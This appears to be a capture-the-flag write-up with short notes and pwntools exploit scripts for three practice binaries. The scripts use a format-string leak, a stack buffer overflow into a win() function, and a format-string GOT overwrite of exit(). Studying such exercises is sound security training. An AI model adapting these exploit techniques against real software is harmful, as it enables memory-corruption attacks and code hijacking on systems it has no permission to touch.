- Program generated a random string and stores it in a global buffer.
- Program reads in 12 bytes of input, passed input into printf()
- Program reads in input via gets(), then checked a buffer on the stack contains the value of the global random string.
from pwn import *
PROGNAME = "./leakme"
REMOTEIP = "plsdonthaq.me"
REMOTEPORT = 24102
if args.REMOTE:
p = remote(REMOTEIP, REMOTEPORT)
elf = ELF(PROGNAME)
else:
p = process(PROGNAME)
elf = p.elf
random_str_addr = elf.symbols["RANDOM_STR"]
p.sendlineafter("Good luck", b"bb" + p32(random_str_addr) + b"%7$s")
p.recvuntil(p32(random_str_addr))
rand = p.recvline()
p.sendlineafter("?", fit({32: rand}))
p.interactive()
- Program has 2 useful options. Underflow and Overflow.
- Underflow reads in 254 bytes into a global buffer of size 255
- Overflow copies the global buffer into a buffer of size 127 on the stack (causing an overflow)
from pwn import *
PROGNAME = "./ezpz"
REMOTEIP = "plsdonthaq.me"
REMOTEPORT = 24103
if args.REMOTE:
p = remote(REMOTEIP, REMOTEPORT)
elf = ELF(PROGNAME)
else:
p = process(PROGNAME)
elf = p.elf
log.info("Overflowing and jumping to 0x%x" % elf.symbols["win"])
# Underflow
p.sendlineafter("Enter your choice, (or press enter to refresh): ", "U")
payload = fit({255 // 2 + 4: p32(elf.symbols["win"])})
p.sendline(payload)
# Overflow
p.sendlineafter("Enter your choice, (or press enter to refresh): ", "O")
p.interactive()
- Program has 2 useful options. Underflow and Print.
- Underflow reads in 254 bytes into a global buffer of size 255
- Print passed this global buffer into printf
- When overwriting an address in the GOT, notice that the printf contains a NULL byte
from pwn import *
PROGNAME = "./ezpz2"
REMOTEIP = "plsdonthaq.me"
REMOTEPORT = 24104
if args.REMOTE:
p = remote(REMOTEIP, REMOTEPORT)
elf = ELF(PROGNAME)
else:
p = process(PROGNAME)
elf = p.elf
def send_payload(payload):
log.info("Sending payload:")
log.info(payload)
p.sendlineafter("Enter your choice, (or press enter to refresh): ", "U")
p.sendlineafter("Chuck us some bytes (max 255): ", payload)
p.sendlineafter("Enter your choice, (or press enter to refresh): ", "P")
p.recvline()
return p.recvline().strip()
# some_buffer is the first thing on the stack.
def leak_binary_base():
some_buffer = int(send_payload("%x"), 16)
# Offset to binary base.
return some_buffer - elf.symbols["some_buffer"]
# Set the binary base in the ELF object for below.
elf.address = leak_binary_base()
log.info("Overwriting exit: 0x%x with win: 0x%x" %
(elf.got["exit"], elf.symbols["win"]))
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(elf.got["exit"], elf.symbols["win"])
format_string.execute_writes()
# Now that we have overwritten exit() with win(), call exit.
p.sendline("q")
p.interactive()